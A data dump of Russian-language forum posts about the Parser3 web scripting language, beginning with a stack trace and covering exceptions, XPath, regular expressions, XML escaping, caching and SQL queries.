Init /home/www/hpsv/www//../data/classes/Cart.p(96)\
rem /home/www/hpsv/www//../data/classes/Cart.p(96)\
_AddProductFromCatalog /home/www/hpsv/www//../data/classes/Cart.p(64)\
if /home/www/hpsv/www//../data/classes/Cart.p(62)\
Create -body of process-(8)\
use -body of process-(8)\
main /home/www/hpsv/www//../data/classes/engine.p(1523)\
trim /home/www/hpsv/www//../data/classes/engine.p(1523)\
rem /home/www/hpsv/www//../data/classes/engine.p(1523)\
if /home/www/hpsv/www//../data/classes/engine.p(1521)\
executeProcess /home/www/hpsv/www//../data/classes/engine.p(601)\
parseBlockPostProcess /home/www/hpsv/www//../data/classes/engine.p(601)\
parseBlock_data /home/www/hpsv/www//../data/classes/engine.p(601)\
if /home/www/hpsv/www//../data/classes/engine.p(595)\
if /home/www/hpsv/www//../data/classes/engine.p(592)\
if /home/www/hpsv/www//../data/classes/engine.p(591)\
menu /home/www/hpsv/www//../data/classes/engine.p(590)\
if /home/www/hpsv/www//../data/classes/engine.p(588)\
processBlocks /home/www/hpsv/www//../data/classes/engine.p(930)\
if /home/www/hpsv/www//../data/classes/engine.p(930)\
if /home/www/hpsv/www//../data/classes/engine.p(922)\
executeBlocks /home/www/hpsv/www//../data/classes/engine.p(1173)\
data /home/www/hpsv/www//../data/classes/engine.p(1149)\
pagePreProcess /home/www/hpsv/www//../data/classes/engine.p(1172)\
defaultPage -body of process-(2)\
main /home/www/hpsv/www//../data/classes/engine.p(1523)\
trim /home/www/hpsv/www//../data/classes/engine.p(1523)\
rem /home/www/hpsv/www//../data/classes/engine.p(1523)\
if /home/www/hpsv/www//../data/classes/engine.p(1521)\
executeProcess /home/www/hpsv/www//../data/classes/engine.p(952)\
rem /home/www/hpsv/www//../data/classes/engine.p(952)\
if /home/www/hpsv/www//../data/classes/engine.p(950)\
content /home/www/hpsv/www//../data/classes/engine.p(967)\
if /home/www/hpsv/www//../data/classes/engine.p(959)\
if /home/www/hpsv/www//../data/classes/engine.p(942)\
execute /home/www/hpsv/www/_doc.html(70)\
body /home/www/hpsv/www//../data/classes/sql.p(62)\
connect /home/www/hpsv/www//../data/classes/sql.p(62)\
server /home/www/hpsv/www/_doc.html(68)\
cache /home/www/hpsv/www/_doc.html(65)"
"33835","лишний повод подчеркнуть, что нужно чётко отличать @unhandled_debug от @unhandled_release\
\
и в своём коде не повторять чужих ошибок :)"
"33836","Зато уже не так обидно, когда сам ляпы допускаешь, раз их делают такие монстры :) Все мы люди, все мы человеки :)"
"33838","При чём тут ФАК?\
Я как-то не так задал вопрос?\
Спасибо вам за помощь, конечно, но наша \"дискуссия\" никакой пользы не принесла.\
По прежнему неясно (может только мне?..) мочему происходит такая закавыка и как с ней бороться.\
Приведённый вами код - непонятен, попытки поиска подобных функций в официальной W3C документации - успехом не увенчались.\
Как мне ещё задавать вопрос, если не просить пояснения?.."
"33839","Какой возникает exception.type при передаче конструктору пустой строки? По логике должен parser.runtime:\
[quote]\
Методу передано неправильное количество параметров или не тех типов, и т.п.\
[/quote]\
Но этого не происходит\
\
Попробовал другие из доки, тоже ноль. А знать хочется, т.к. ловить все это плохо, - в отладке трудно найти где же все таки упало."
"33840","И ваше решение и другие предложенные решения делают более правильной ту часть кода, которая отвечает за поиск текста в разном регистре. Мне интересен вопрос о том, [b]можно ли одной конструкцией  Parser отбирать записи таблицы, проверяя условия для нескольких полей, названия которых задаются хэшем?[/b] То есть если отвлечься от регистра, то можно ли переписать следующий код так, чтобы он работал, без вынесения кода проверки условия в отдельную процедуру.\
\
[code]\
$items[^items.select(\
   ^searchfields.$table.foreach[key;value]{\
     (^items.[$value].pos[$question]>-1)\
    }[||]\
 )]\
[/code]"
"33841","Друзья, задача та же -- многострочное поле записать в базу с автоматическим преобразованием переносов.\
Раньше у меня стояло (и работало!) ^untaint[table].\
Однако. Как только мы тут недавно пересобрали парсер без safe mode, это преобразование чудным образом исчезло и стало выдавать ошибку на всех проектах.\
Это так и задумано? И как правильно помечать многострочные поля в таком случае?"
"33842","интересны атрибуты элемента <xsl:stylesheet"
"33843","[code]\
^date::create[]\
[/code]\
\
выдаёт\
[code]\
create\
native method of date (stateless_class) accepts minimum 1 parameter(s) (0 present)\
c:/.../_bug.html(1:8) \
[/code]"
"33844","ведь вам нужна промежуточная переменная, а грамматика\
[code]\
(выражения в круглых скобках)\
[/code]\
не подразумевает возможности присваивания чего-то переменным.\
отсюда у вас возникает вспомогательная функция.\
\
однако, ради академического интереса, можно так:\
[code]\
$table[^table::create{name	age	height\
a	10	3\
b	10	4\
c	20	2\
}]\
\
$selected[^table.select{^if($table.age==10)(1)}]\
#эквивалентно этому:\
#$selected[^table.select($table.age==10)]\
\
^selected.menu{$selected.name}[,]\
[/code]\
\
в parser везде, где допустимы () параметры, допустимы и {}параметры, и наоборот.\
ведь и (это) и {это} << суть «скомпилированный код, который надо выполнить». то, что он скомпилирован из разной грамматики влияет только на его вид, но не результирующую суть: и то и другое — нечто, что можно выполнить и получить результат.\
\
по документации в очевидно-удобных местах дана декларация с {} и разобраны примеры.\
тяжёлые малополезные случаи не вошли :)\
политика партии: использовать SQL где только можно, экономя время разработки [b]и последующей поддержки[/b]."
"33845","следовало попробовать записать туда строку с апострофами — они бы не удвоились, и запрос не выполнился.\
\
язык преобразования 'table' признан совершенно ненужным атавизмом parser2, и был убит.\
\
варианты:\
1. пишите в базу, как есть, при выводе меняйте на то, что нужно.\
(у вас нет разве возможности \"Edit\", когда желательно видеть ровно то и так, как было введено?)\
2. пользуйтесь ^string.replace до записи в базу"
"33846","И политика партии мне полностью ясна и я ее полностью поддерживаю! :) А пример родился в пятницу вечером, когда у меня с первого захода не заработал LIKE в MySQL (почему - загадка, в понедельник все получилось) и я принял решение перенести остеивание записей на плечи Parser."
"33847","У меня так:\
[code]\
$d[]\
$result[^date::create[$d]]\
[/code]\
т.е. дата формируется на основе переменной, которая может быть пустой. Выдается:\
[code]\
create\
\
empty string is not valid datetime\
[/code]"
"33848","[code]\
#вызов метода без параметров\
^method[]\
#вызов метода с параметром\
^method[тут что-то, неважно что]\
[/code]\
\
так что сообщения \"вы вызвали с неправильным числом параметров\" в описываемом случае быть не должно."
"33849","[code]<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">[/code]"
"33850","методу передан параметр конечно, но он пустая строка т.е. я посчитал что у параметра не тот тип, или это не так? и тип правильный, но из него нельзя сделать дату? И если да, то какой системный тип исключения соответствует такой ситуации?"
"33853","хорошо, тогда если с этим стрингом падает, какой тип исключения?"
"33854","Понятно, что пространства имён srt нет, мне важно описание ф-ции, а не запустить её.\
\
В общем, нашёл я таки описание.\
Запустил, ошибки нет, но нет и результата.\
При попытке пограться с кодировкой (третий аргумент), выдаёт ошибку: [b]xmlXPathCompiledEval: 2 object left on the stack[/b].\
\
Stylesheet:\
\
[code]\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:str=\"http://exslt.org/strings\">\
[/code]\
вызов:\
[code]\
{str:encode-uri(@author, true())}\
[/code]"
"33855","parser.runtime не предлагать, слишком общо"
"33856","что вы видите на своём экране и думаете внутри своей головы окружающим доступно только через ваши письма."
"33857","А я что, недостаточно ясно в них изъясняюсь?\
описываю, что и как.\
Привожу код.\
\
А получается шарады гадаем...\
\
Давайте уйдём от вопроса \"как\" к вопросу \"что\"?\
Вы используете где-либо данную функцию кодирования?\
У вас она работает так, как вы от неё ожидаете?\
Используете ли аргумент кодировки и какой?"
"33858","что-нибудь вроде: parser.bad_argument, parser.wrong_parameter, argument.format"
"33859","Не знаю, тянет ли это на bug или нет...\
\
Парсер по умолчанию дописывает полный путь к скрипту, чьё имя передано как параметр file::exec, и запускает на исполнение. Если document_root у нас располагается в пути, содержащем пробелы (c:\\мой сайт\\апачи\\хоум\\ например), выходит бяка - \"запускается\" только то, что до пробела, остальное считается параметрами комстроки. При этом ошибки не проявляется - ответ от DOS'а \"XXX не является именем существующей программы или пакетного файла\" тоже считается парсером удовлетворительным результатом.\
\
Пока решил проблему так - нужный мне bat-файл перенёс в корень диска с: и прописал в коде ^file::exec[c:\\myfile.bat;.... - так работает.\
\
Проблема проявляется на Parser в виде модуля Apache, платформа - windows 2000."
"33861","Или там всё сложнее?"
"33862","что происходит в мире win32 нас интересует очень косвенно."
"33863","нужны доки по созданию форума на сайте под парсером.\
буду благоБдарен."
"33866","Граждане программисты, мне нужно запретить регистрацию людей с одного ip с интервалом менее получаса. \
Я пишу в базу datetime и ip юзера при регистрации.\
В связи с чем два вопроса.\
Вопрос главный: как мне полчаса отмерить? В голову приходит только сравнение unix-timestamp..\
Вопрос второстепенный, но тоже важный: как обойтись в минимальное количество действий? \
Просто я сначала выбираю все одинаковые ipшники, а потом если таких несколько их дату/время ещё и сравнивать надо, а это расточительство.."
"33867","Поищи по форуму, кто-то уже кидал готовый."
"33868","[code]\
если день равен текущему{\
		если час равен текущему{\
				если минуты регистрации последнего зарегиного юзера + 30 больше или == текущим минутам{\
						даем добро на регистрацию \
				}{ \
						отправляем ждать еще столько минут, сколько вычислим на это дело\
				}\
		}{\
				даем добро на регистрацию \
		}\
}{\
		тем более даем добро\
}\
[/code]"
"33870","делается один SQL запрос, который возвращает количество зарегистрированных пользователей в последние 30 минут с указанного ip:\
\
[code]\
SELECT\
  COUNT(*)\
FROM\
  your_table\
WHERE\
  ip = '$ip'\
  AND dt_registered > DATE_SUB(NOW(), interval 30 MINUTE)\
[/code]\
\
составной индекс по ip+dt_registered настоятельно рекомендуется\
\
P.S. я в меньшее количество действий не знаю. если вы данные храните в файликах - звиняйте, я не могу помочь."
"33871","бред - зачем столько вложенных конструкций? делаешь сложно условие с && и обходишься одним if"
"33872","Есть поддержка флкш файлов? чтоб выводить их средствами parser?\
заранее спасибо."
"33873","мы пользуемся выдачей xml данных, которые flash забирает с сервера, и на их основании действует."
"33875","У меня в базе хранится вся информация о странице, мне нужен только ID или полный путь чтобы вытащить ее из базы, посоветуйте, пожалуйста, как мне при создании отметить страницу каким-нить из этих опознавательных знаков. Хотелось бы один раз описать в корневом auto.p структуру и просто создавать папки с пустыми index.html, но пустые вообще парсер не есть, я писал в них просто \
[code]\
@auto[]\
$ID(4)\
[/code]\
разумно ли? и как лучше?"
"33877","пока спрашивающий не сформулирует что-то конкретное, просьба не отвечать."
"33878","в админке я сохраняю в базе данные о странице, заголовки, пути и т.д.\
сейчас у меня после добавления в базу содается файл index.html в созданной по полному пути папке и имеет он такое вот содержание:\
[code]\
@auto[]\
$ID(здесь ID, которая вычислилась при добавлении)\
[/code]\
\
мне кажется, что этот способ не очень оптимален, а другой просто в голову не приходит\
вот и вся формулировка, мне интересно, как делают такие вещи крутые гуру :), т.к. я почти уверен, что мой способ обсалютно не верный и есть куда более лучше...\
\
спасибо за внимание"
"33879","mod_rewrite рулит"
"33880","Регистрироваться, качать исходники сайта и разбираться до просветления\
www.egoroff.spb.ru"
"33881","Добрый день \
вот что пишет parser3.log при прогоне testa\
/_test.html: '/usr/local/parser3/etc/charsets/windows-1251.cfg' read failed: No such file or directory (2), actual filename '/usr/local/parser3/etc/charsets/windows-1251.cfg' [file.missing]\
выделям из лога путь и пишем в консоль\
#l /usr/local/parser3/etc/charsets/windows-1251.cfg              \
-rw-r--r--    1 root     apache       5377 Jul 20 19:33 /usr/local/parser3/etc/charsets/windows-1251.cfg\
\
где ж вы, вилы, мои вилы\
вилы новые мои.... etc"
"33882","Как перейти на текущую страницу но без передачи параметров?\
Например:\
текущая\
add_genres.html?edit=7668DC3ED684A8B4\
а перейти нужно на\
add_genres.html\
не используя явное указание $response:location[add_genres.html], так как названия страниц могут быть разные."
"33884","или может даже сам найдешь??? а то тема животрепещущая - поиск не помог..."
"33885","Ну я делаю так (не уверен, что это красиво и правильно)\
Для оперирования адресом страницы и параметрами я их режу на части и загоняю в отдельные переменные. Код вставляю в самом начале страницы\
[code]\
#Режем адрес на части\
^if(^request:uri.match[\
    \\? #есть разделитель\
    .+ #и есть хоть что-то за ним\
][x]){\
	$request_uri[$request:uri]\
	$address[^request_uri.match[(\\?.+)][']]\
#	это весь адрес, кроме параметров и решётки\
	$request_uri[$address.prematch]\
#	это только параметры\
	$request_param[$address.match]\
}{\
	$request_uri[$request:uri]\
	$request_param[]\
}\
[/code]\
\
Ну и потом, естественно $response:location[$request_uri]."
"33887","полезно всё-таки иногда перебирать auto.p со стандартными классами\
\
Тогда будет что-то вроде этого\
$address[^request:uri.match[([^^\\?]+)(\\?.+)?]]\
$request_uri[$address.1]\
$request_param[$address.2]"
"33888","Есть желание подсветить некоторые слова на странице, если на эту страницу пришли из списка результатов поиска. \
Разумно в postprocess'е поставить match и подсветить все найденные слова. Но вот как составить такой match, который не будет подсвечивать слова, например, в тэгах или <head/>'е? А то, если пользователь будет искать по слову, например, table, результат сильно перекосячит.\
\
Заранее спасибо."
"33889","например перед тегом table стоит знак <, вот и ищите те table'ы, перед которыми не стоит <"
"33891","Только вместо regex.cfg таблицы использовать ваше поисковое выражение и ваш вариант замены. А в технологии всё одинаково.\
\
http://www.typograf.ru/download/\
\
P.S. Можете кстати попробовать типографировать любой из примеров на сайте, и увидите что подсветка результатов дело 5 секунд."
"33892","Нда.. А всё казалось таким сложным.."
"33897","[code]\
	$file_avatar[files/$form:avatar]\
	$raz_avatar[^file:justext[$file_avatar.name]]\
	^if(^raz_avatar.lower[] eq gif || ^raz_avatar.lower[]  eq jpg){\
		$avatar[^image::measure[$file_avatar]]  $avatar.width > 64 || $avatar.height > 64 ||  $avatar.width < 48 || $avatar.height < 48\
		^if($avatar.width > 64 || $avatar.height > 64 ||  $avatar.width < 48 || $avatar.height < 48){$error[Размер не должен превышать 64 pcx и быть не меньше 48 pcx]}\
		^if($avatar.width != $avatar.height){$error[У аватара ширина должна быть равна высоте]}\
		$load_avatar[1]\
	}{\
		$error[Файл аватара должен иметь раширение *.gif или *.jpg]\
	}\
[/code]\
\
\
Ну дак вот. Дома под виндой работает на ура.\
Выгружаю на сервер ....unix\
\
Неработает. \
\
Картинка 64х64 псх\
Когда добавляю на домашнем сервере все ок добавляеться \
Когда добавляю на и нет сервре пишет что разрешение у нее 8256х8526"
"33898","$avatar.width > 64 || $avatar.height > 64 ||  $avatar.width < 48 || $avatar.height < 48\
\
Я его добавлял просто чтоб посматреть на что он ругаецца"
"33899","а если это слово будет именем перменной в javascript'е? или еще каким служебным символом?"
"33900","возможно к парсеру это мало относится, но я задаю вопрос касающийся конкретно ^cache[](){}  :)\
почему нельзя кешировать админку? чем это черевато? \
у меня просто админка собирается так же как и остальные сайты (блочная структура). Так почему бы мне не закешировать и админку? Или это бесполезно, потому что на админку не заходит много народу?\
\
заранее спасибо."
"33901","соберите все служебное в одно место, а то, что возможно нужно будет светить в другое и работайте со вторым. например все, что в тегах script и style соберите в один хеш (или еще во что угодно), а все остальное в другой."
"33902","[quot]Размер не должен превышать 64 pcx и быть не меньше 48 pcx[/quot]\
и тут же \
[quot]\
У аватара ширина должна быть равна высоте\
[/quot]"
"33903","Алгоритм формирования результирующего документа уже есть и менять его крайне нежелательно. В любом случае, именно контент страницы, который надо подсвечивать - это html, в котором есть тэги, атрибуты и их значения, которые подсвечивать не надо."
"33904","К примеру вы забиваете в форму новость чтобы её запостить и на вашей страничке стоит кеш. Вместо того чтобы запостить данные скрипт выдаст вам страницу такой какой она была до поста (из кеша). И единственным выходом будет - постоянно убивать кеш. \
\
Так может тогда лучше вообще его не ставить? :)"
"33905","хотя, то, что при POST'е кешировать нельзя - итак понятно, но вот то, что данные все время обновляются - действительно говорит о том, что кеш надо будет постоянно чистить\
\
спасибо )"
"33906","допустим у меня есть документ с такой структурой:\
\
________________________________________________\
|  заголовок                                    |\
|           |                                   |\
|           |                                   |\
|  баннер   |       содержание страницы         |\
|           |                                   |\
|           |                                   |\
|  футер (копирайты и всякая дрянь)             |\
|_______________________________________________|\
\
если я правельно понял, вы хотите искать на всей странице, т.е. и в заголовке и в тексте футера и, если у банера есть текст, то и в нем - а ЗАЧЕМ? светить нужно только содержание, более ничего, так работайте только с содржанием. \
насчет тегов и их атрибутов вам уже говорили, их легко обойти."
"33907","Добрый день !\
Недавно я уже спрашивал, но ответили немного не то.\
Собственно вопрос по xpath:\
у меня в xml определено меню:\
[code]\
<menu>\
    <item name=\"razdel1\" uri=\"/razdel1/index.html\"/>\
    <item name=\"razdel2\" uri=\"/razdel2/index.html\"/>\
    <item name=\"razdel3\" uri=\"/razdel3/index.html\"/>\
</menu>\
[/code]\
Добавить новый item к menu получается:\
[code]\
    $document[^xdoc::load[menu.xml]]\
    $menu_element[^document.selectSingle[/menu]]\
\
    $tmp[^menu_element.createElement[item]]\
    $attr[^tmp.setAttribute[name;razdel4]]\
    $attr[^tmp.setAttribute[uri;/razdel4/index.html]]\
    $t[^menu_element.appendChild[$tmp]]\
[/code]\
А вот добавить новый item к уже существующему item - нет.\
У меня не получается xpath'ом выцепить нужный [b]node[/b], например, razdel2 и уже на нем сделать [code]^appendChild[][/code]\
то, что я нахожу является строкой.\
Точнее, не могу даже сформировать xpath-запрос - мне не хватает\
документации по этой теме в parser - я ее искал -- точно-точно - поверьте (это, чтобы упредить негодующие возгласы: [b]RTFM !!![/b]\
На [b]w3[/b] документация понятна - там я нашел ответ на мой вопрос, но в парсере ведь он синтаксически немного отличается - разве нет ? Не подскажите способ как это сделать ?\
Вот мой 'xpath-запрос' (я пробовал несколько):\
[code]\
    $document[^xdoc::load[menu.xml]]\
    $element[^document.selectSingle[/menu/*[@name=razdel2]]\
[/code]\
Искал по форуму, но нашел только проблемы с 'плоскими' деревьями - они не подходят, если все таки есть - не покажите пример?\
\
Заранее спасибо !"
"33909","Квадратные и не больше / не меньше заданных размеров.\
Что непонятного то? :\\"
"33912","Поможите, плиз, новичку. Есть конструкция:\
[b]<form method=\"post\" enctype=\"multipart/form-data\">\
<p>Файл: <input type=\"file\" size=\"50\" name=\"object1\" class=\"button\"></p>[/b]\
Из которой получается имя файла с полной путёй (видимо, string).\
Как написать\
[b]^if(def $form:object1){\
^form:object1.save[binary;/files/.......]}[/b]\
так, чтобы файл записывался с оригинальным именем в папку /files сервера?"
"33913","то и вообще split :)"
"33914","http://company.yandex.ru/technology/products/Yandex-Server/intro.xml#introsearch\
\
[quote]\
Подсветка фрагментов \
Возможность выделять слова, найденные в заголовках, на странице с результатами поиска. ...\
[/quote]\
\
[quote]\
Подсветка найденных слов \
Возможность просмотреть найденный документ с выделенными поисковыми словами. Возможность пролистывать документ к следующему или предыдущему найденному слову.\
...\
[/quote]"
"33917","У меня есть база, а там блин всё по русски, как мне можно организовать перевод всголишь 5-10 слов, так что-бы не трогать базу?"
"33918","сам поиск уже готов и вполне хорошо работает - менять сейчас движок поисковика не имеет смысла."
"33920","Народ. Помогите, только не ссылку на документацию, к какой-нибудь рабочий пример подскажите, чтобы можно было код поковырять. Нужно, чтобы данные были в XML, а обрабатывалось все в парсере."
"33921","Чем являются эти 5 слов?\
Какая структура базы?\
Что именно Вы хотите перевести?"
"33922","он справится, если сайт вырастет в объёме в 10 раз?"
"33923","сделайте отдельные файлы для каждого сообщения/каждой страницы сообщений."
"33924","В каталоге в столбце есть колонка состав, например 65% хлопок 35% полиэстер, а надо это перевести не переделывая базу. Я думаю это можно сделать при помощи hash`а"
"33925","В примерах документации есть пример гостевой.\
Алгоритм - емеется.\
Осталось xml приделать.\
xml есть что? По сути - та же разметка.\
Так что всё, что остаётся сделать - генерировать вместо html кусков один xdoc,\
и трансформировать его xsl шаблоном перед выводом."
"33927","А если я хочу получить детей элемента <item name=\"razdel2\">\
или детей детей ?\
\
Тоесть как получить эл-т с name=\"razdel2.2\" (кроме как с помощью перебора всех нодов и метода [code]^hasChildNodes[][/code] ) ?\
\
<item name=\"razdel2\">\
     <item name=\"razdel2.2\"/>\
</item>"
"33928","но даже при самом благополучном развитии событий, в 10 раз он не вырастет ;)\
единственное, что на данный момент меня в нем не устраивает - невозможность подсвечивать найденные слова в документах.\
Яндекс же не подходит в основном из-за того, что бесплатная версия не дает изменять дизайн, в котором должны выводится результаты. Или я ошибаюсь?"
"33930","Действительно бесплатная версия не дает изменять дизайн, но если нагрузка на поиск невелика, то ^file::exec и регулярные выражения могут сделать свое дело! ;) При желании можно вообще сделать прослойку на Parser, которая превращает Яndex.Server Standard в обрезанный Яndex.Server Professional и выдает результаты в виде XML. Учитывая, что скорость поиска у Яndex-овского скрипта выше, чем у большинства решений, то возможно такая связка даже будет работать быстрее на больших объемах данных. Плюс учет русской и английской морфологии. Но Минздрав предупреждает, нарушение лицензии использования Яндекс.Server может повредить вашему здоровью! :)"
"33931","всегда можно придумать себе морок на голову - но оно надо? :)\
парсить все эти результаты и формировать их так, как нужно мне - слишком сложно. Если есть возможность воспользоватся другим скриптом для поиска, который, пусть и уступает по функциональности яндексу, но в данной ситуации вполне подходит и позволяет лугко оформить результаты так, как нужно мне."
"33933","как я был слеп )))\
большое пасяба"
"33934","Да. Звучит это все красиво - трансформировать, переделать, отXDOCить и пр. а на практике? Дело в том, что я в парсере и XML пока не совсем соображаю. А абстрактная литература на W3 - я просто тупо не могу понять что такое истины, токены и пр. радости жизнь - а объяснить на практике не кому. Вот и хочу найти реальный пример, чтобы разобрить его на куски и посомтреть, как все это работает."
"33935","Просто гостевую на парсере с MySQL я сделать могу - это не проблесу. Меня интересует, как из XML файлов выдирать отдельные куски по несколько сообщений, как вставлять в файл новые данные и пр. Базовые основы."
"33936","Сначала ответьте себе на вопрос как вы потом будете этот фаил находить."
"33938","Вы я вижу хотите использовать xml вместо/\"вместе\" с БД, для хранения данных?\
Лично я думаю не нужно этого.\
Данные держите в БД, извлекаете/добавляете как обычно.\
А вот Парсером формируете не куски html, а xdoc.\
Итого к концу генерации страницы имеете:\
xdoc со всем содержимым страницы - 1 штука,\
xsl шаблон - 1 штука\
Осталось сделать транcформацию xdoc'а по шаблону и отдать браузеру.\
\
Вы не поймёте ничего если будете читать только спецификацию W3 (которая, как очень метко заметил Майкл Кей \"примерно так же читабельна для большинства программистов, как страницы налогового законодательства\"...) и доку на Парсер.\
Купите книжку по xslt и тоже не читайте!, а садитесь [b]с ней[/b] за Парсер, тогда будет результат, разберётесь."
"33941","Если вставить табуляцию перед объявлением метода, вот так:\
[code]\
     @myMethod[]\
         .....\
[/code]\
то парсер перестаёт его находить. Так и должно быть?\
\
P.S. табуляцию вставляю для более широкого использования функций folding'а в jEdit при работе с длинными auto.p"
"33942","//item[@name='раздел 2.2'] - сам элемент\
//item[@name='раздел 2.2']/* - все его дети\
//item[@name='раздел 2.2']/*/* - все его внуки\
//ancestor::item[@name='раздел 2.2'] - все его потомки"
"33947","Тогда я просто не вижу смысла делать промежуточное звено между базой данных и готовой страницой в виде XML. Зачем тогда его делать, если можно выбирать данные и вставлять их напрямую в шаблон?\
\
И еще - есть кто-нибудь с аськой, с кем можно было бы напрямую консультироваться?"
"33948","Тут возникла такая необходимость..\
При отправке формы надо передавать _все_ строки которые есть в select'е, а не только выбранные..\
Что бы считать их потом через $form:tables.."
"33949","А смысл? Эти поля всегда можно продублировать на сервере или на клиенте, не обязательно в select'е.\
^for[i](0;10){<input type=hidden name=mySelect value=\"$i\">}\
<select>\
^for[i](0;10){<option value=\"$i\">}\
</select>"
"33950","Смысл у меня такой. На странице есть два селекта. В один грузится полный список юзеров, во второй только определённые. \
Потом я редактирую этих избранных методом переноса из первого во второй селект (добавляю, удаляю), примерно так: \
[code]\
  if (selObj2.selectedIndex > -1) {\
    selObj1.options[selObj1.options.length] = new Option(selObj2.options[selObj2.selectedIndex].text, selObj2.options[selObj2.selectedIndex].value);\
    selObj2.options[selObj2.selectedIndex] = null;\
  }\
[/code]\
По submit'у мне надо сохранить в БД изменённый список из второго селекта.\
В js я туп как пробка из африки.."
"33951","Я тоже туплю, но может так?\
selObj2.options[selObj2.selectedIndex].value = \"ваше значение\"\
Вообще, такой скрипт - не редкость в сети. Поищите в популярных дневниках."
"33952","Я тоже раньше так думал насчет \"нужности\" XML/XSL прослойки, но мне  здесь подсказали и я впоследствие убедился, что если хочешь писать код, который не нужно переписывать от сайта к сайту - XML/XSL очень удобный инструмент."
"33953","не пойму никак как НЕ выводить \"пустые\" месяцы, у меня материалы начинаются с августа, но названия выходят с января.\
(или спать больше надо?)"
"33954","В документации по парсеру нашел, как получить список файлов:\
[code]\
$list[^file:list[/;\\.zip^$]]\
^list.menu{\
   $list.name<br>\
}\
[code]\
И не могу понять, как мне это дело исправить, чтобы выдавал список по маске m??????.xml\
Может кто подскажет. Пытался делать фильтром, как написано в учебнике - не получается. Покажите как нужно делать, может я неправильно делшаю? (скорее всего)"
"33956","заменить расширение, а вообще: дайте код который не работает, тут телепатов нет, так что из-за чего не пашет без кода - трудно сказать"
"33958","Дык товарищ, вы сделайте для себя вывод, для чего вы хотите использовать xslt?\
Большинство её использует для разделения кода и его представления.\
\
Вот вы сами сказали волшебное слово \"шаблон\", вот xsl и есть шаблон.\
Вы его генериуете чистые данные, без всяких сортировок, внешнего представления и т.п.\
Потом эти данные можете разными шаблонами трансформировать в совершенно разный код.\
\
Конечно, если вы хотите использовать xslt только ради красивого слова - вы лишь потеряете время.\
Не нужно оно - выводите куски html.\
\
Использование вместо БД - это вообще.\
Оно оправдано, когда нужно, скажем, хранить структуру меню сайта.\
Тут да, один раз построил дерево, а потом его только выводишь.\
Но если складывать в xml сообщения гостевой, а потом грузить и трансформировать...\
Это аналогично использованию текстовых файлов вместе с БД..."
"33959","Да код тот же самый, только нужно фильтр заменить.\
[code]\
$list[^file:list[/;*\\.xml^$]]\
^list.menu{\
$list.name<br>\
}\
[code]\
Что правильно, а что нет?"
"33960","Товарищи, толи я уже не того, толи да.\
Необходимо сделать xml эскейп.\
Делаю ^taint[xml][данные], при выводе всё, ок.\
Сохраняю в файл - символы заменены, как и положено.\
Но если попытаться вставить результат в xml документ, отэскейпенные символы расцениваются как обычные и вылазит ошибка.\
Как быть?.."
"33962","Дык, а нечего показывать....\
Это происходит в разных интерпретациях.\
К примеру свежий случай.\
Яндекс.xml:\
[code]\
$body[<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<request>\
	<query>^taint[xml][$query << host=\"www.x.ru\"]</query>\
	<groupings>\
		<groupby attr=\"d\" mode=\"deep\" groups-on-page=\"10\" docs-in-group=\"1\"/>\
	</groupings>\
</request>]\
[/code]\
приводит к ошибке парсинга Яндексом.\
Он не видит закрывающего </query>, поскольку в запрос пролазят \"<<\".\
\
Однако если сделать так:\
[code]\
$replace[^table::create{from	to\
&	&amp^;\
>	&gt^;\
<	&lt^;\
\"	&quot^;\
'	&apos^;}]\
$Query[$query << host=\"www.x.ru\"]\
$Query[^Query.replace[$replace]]\
$body[<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<request>\
	<query>$Query</query>\
	<groupings>\
		<groupby attr=\"d\" mode=\"deep\" groups-on-page=\"10\" docs-in-group=\"1\"/>\
	</groupings>\
</request>]\
[/code]\
то всё ок.\
\
Я думаю, что на taint влияет что-то постороннее, т.к. данные преобразования производяться внутри класса, который создаёт результирующий xdoc, который, в свою очередь, добавляется в выходной xdoc DOM'ом.\
Может в этом дело...\
Однако преобразуемые данные непосредственно в документ не попадают, они отсылаются на сервер (в другом проявлении проблемы - добавляются в БД)."
"33963","[code]\
$list[^file:list[/;^^m.+\\.xml^$]]\
^list.menu{\
$list.name<br>\
}\
[/code]\
это с маской для файлов m[что-то].xml\
Уточните, какого вида имена у файлов?"
"33964","Вот тут товарищ nkostya вроде бы сделал так, как Вам нужно\
http://www.parser.ru/forum/?id=30475"
"33965","Формат имени файлов следующий:\
mYYMMDD.xml\
например\
m041019.xml\
\
и еще - объясните теперь, что значит конкретно по пунктам ^^m.+\\.xml^$"
"33967","и не показывете само место http запроса. \
очевидно, вы просто пытаетесь передать туда $query, там этой taint-обработки не происходит вообще, поскольку применяется другая обработка.\
\
правильный ответ, создайте xml-документ(произойдёт обработка) и получите его текстовое представление:\
[code]\
$xdoc[^xdoc::create{...\
<query>^taint[$query << host=\"www.x.ru\"]</query>\
}]\
$query[$xdoc.string[]]\
[/code]"
"33968","Тогда можно уточнить:\
[code]\
$list[^file:list[/;^^m\\d{6,6}\\.xml^$]]\
^list.menu{\
$list.name<br>\
}\
[/code]\
\
[quot]объясните теперь, что значит конкретно по пунктам ^^m.+\\.xml^$[/quot]\
\
Товарищ, вм срочно надо приобрести книгу по регулярным выражениям.\
Объясняю только под ваше обещание это сделать.\
\
[code]^^m\\d{6,6}\\.xml^$[/code]\
1. \"^^\" - это у нас начало строки, т.к. символ \"^\" используется в синтаксисе парсера, необходимо его продублировать.\
2. \"m\" - буква, которая должна присутствовать вначале имени файла (именно строчная).\
3. \".+\" - 1 или больше любых символов.\
   В новом варианте: \\d{6,6} - строго 6 цифр.\
4. \"\\\" - экранируем точку, чтобы она не расценивалась, как обозначение любого символа, а интерпретировалась буквально.\
5. Дальше расширение, каким мы его хотим видеть - \".xml\"\
6. Ну и говорим, что имя файла на этом заканчивается - \"^$\", символ конца строки \"$\" предваряет \"^\", чтобы доллар не расценивался Парсером как литерал переменной."
"33969","[code]$file[^file::load[binary;http://xmlsearch.yandex.ru/xmlsearch/][\
		$.method[POST]\
		$.timeout(60)\
		$.headers[\
			$.Content-type[application/x-www-form-urlencoded]\
			$.Content-length[^Body.length[]\
\
$Body]\
		]\
	]\
][/code]\
\
Трюк с выводом текста xdoc помог.\
Всё заработало.\
Осталось неясно почему taint не производил замену при простом его вызове...\
\
PS\
Александр, вам не кажется что конструкция POST/GET запроса некрасивая немного?\
Вот так бы было логичнее, закрыть заголовок и отдать тело, при этом проконтролировав пустую строку автоматом:\
